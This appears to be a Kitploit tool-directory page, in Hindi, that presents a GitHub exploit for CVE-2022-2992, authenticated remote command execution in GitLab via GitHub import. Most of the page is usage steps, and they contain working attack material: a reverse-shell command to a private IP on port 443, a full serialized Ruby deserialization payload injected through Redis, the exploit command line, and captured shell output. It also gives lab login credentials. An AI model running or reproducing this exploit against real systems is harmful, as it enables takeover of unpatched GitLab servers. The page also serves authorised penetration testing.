Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/csenox/cve-2022-2992
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट
GitHubcsenox/cve-2022-2992

CVE-2022-2992

Gitlab में GitHub आयात के माध्यम से प्रमाणित रिमोट कमांड निष्पादन

रिपॉजिटरी देखें
224363 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-2992

GitHub import के माध्यम से GitLab में प्रमाणित रिमोट कमांड निष्पादन।

GitLab CE/EE में एक भेद्यता जो 11.10 से आरंभ होकर 15.1.6 से पहले तक के सभी संस्करणों, 15.2 से आरंभ होकर 15.2.4 से पहले तक के सभी संस्करणों, 15.3 से आरंभ होकर 15.3.2 से पहले तक के सभी संस्करणों को प्रभावित करती है। यह एक प्रमाणित उपयोगकर्ता को GitHub API endpoint से Import के माध्यम से रिमोट कोड निष्पादन प्राप्त करने की अनुमति देती है।

https://about.gitlab.com/releases/2022/08/30/critical-security-release-gitlab-15-3-2-released/#remote-command-execution-via-github-import

पूर्वापेक्षाएँ

  • Ngrok
  • Ruby
  • Redis
  • Python3
  • Flask
root@kitploit:~
sudo apt install ruby python3 python3-pip
gem install redis 
pip install flask

चरण

  1. ./ngrok http 5000 चलाएँ और URL सहेज लें।
  2. अब सीरियलाइज़्ड पेलोड उत्पन्न करने के लिए payload_gen.rb चलाएँ और पेलोड सहेजें। नीचे एक उदाहरण है:
root@kitploit:~
ruby payload_gen.rb 'bash -c "sh -i >& /dev/tcp/172.16.128.129/443 0>&1"'
  1. server.py में NGROK_URL और PAYLOAD वेरिएबल्स को तदनुसार अपडेट करें। नीचे एक उदाहरण है:
root@kitploit:~
PAYLOAD = 'ggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:gggg\r\n$359\r\n\u0004\b[\bc\u0015Gem::SpecFetcherc\u0013Gem::InstallerU:\u0015Gem::Requirement[\u0006o:\u001cGem::Package::TarReader\u0006:\b@ioo:\u0014Net::BufferedIO\u0007;\u0007o:#Gem::Package::TarReader::Entry\u0007:\n@readi\u0000:\f@headerI\"\baaa\u0006:\u0006ET:\u0012@debug_outputo:\u0016Net::WriteAdapter\u0007:\f@socketo:\u0014Gem::RequestSet\u0007:\n@setso;\u000e\u0007;\u000fm\u000bKernel:\u000f@method_id:\u000bsystem:\r@git_setI\"8bash -c \"sh -i >& /dev/tcp/172.16.128.129/443 0>&1\"\u0006;\fT;\u0012:\fresolve'
NGROK_URL = 'https://dc09-41-01-99-69.in.ngrok.io'
  1. GitLab पर उपयोगकर्ता के लिए एक एक्सेस टोकन बनाएँ और सभी स्कोप चुनें। कृपया दस्तावेज़ यहाँ पढ़ें।
  2. अंत में हमारे exploit.py को चलाएँ।

नोट: चलाने से पहले सुनिश्चित करें कि ngrok और flask सर्वर चल रहे हैं।

root@kitploit:~
python3 exploit.py -a lunpy-AMEuQE66KcUtNhcharjm5 -u https://dc09-41-01-99-69.in.ngrok.io -t http://gitlab.example
  • हमें पोर्ट 443 पर एक शेल वापस मिलता है
root@kitploit:~
➜ CVE-2022-2992: nc -nlvp 443
listening on [any] 443 ...
connect to [172.16.128.129] from (UNKNOWN) [172.16.128.180] 40270
sh: 0: can't access tty; job control turned off
$ id
uid=998(git) gid=998(git) groups=998(git)

प्रत्येक विंडो में अपेक्षित आउटपुट:

  • Ngrok
root@kitploit:~
POST /vakzz/public.git/git-upload-pack 200 OK
GET  /vakzz/public.git/info/refs       200 OK
GET  /api/v3/repos/fake/name           200 OK
GET  /api/v3/repositories/12345        200 OK
GET  /api/v3/rate_limit                200 OK
GET  /api/v3/rate_limit                200 OK
  • Exploit
root@kitploit:~
[1] Creating Group
[+] Successfully created group: qogjohpykk
[2] Running flask server
[3] Importing Github Repo
 * Serving Flask app "server" (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/rate_limit HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/rate_limit HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:03] "GET /api/v3/repositories/12345 HTTP/1.1" 200 -
201
127.0.0.1 - - [08/Oct/2022 23:46:04] "GET /vakzz/public.git/info/refs?service=git-upload-pack HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:04] "POST /vakzz/public.git/git-upload-pack HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2022 23:46:04] "GET /api/v3/repos/fake/name HTTP/1.1" 200 -
[4] Triggering Payload
[+] Command was executed

पर्यावरण

  • Gitlab 15.3.1 Enterprise Edition पर परीक्षण किया गया
  • अपना परीक्षण वातावरण बनाने के लिए, data निर्देशिका को अपने Linux VM पर / में कॉपी करें।
  • पर्यावरण सेटअप करने के लिए build.sh चलाएँ। स्क्रिप्ट का निष्पादन समाप्त होने के बाद आप GitLab पर निम्न क्रेडेंशियल्स का उपयोग करके लॉगिन कर सकते हैं।
root@kitploit:~
Username: enox
Email: [email protected]
Password: StrongestGitlabPassword

श्रेय

  • https://hackerone.com/reports/1679624 (vakzz)
  • https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

यदि आपके कोई प्रश्न हैं तो मुझसे Discord (Enox#4458) पर संपर्क करें।

टूल डाउनलोड करें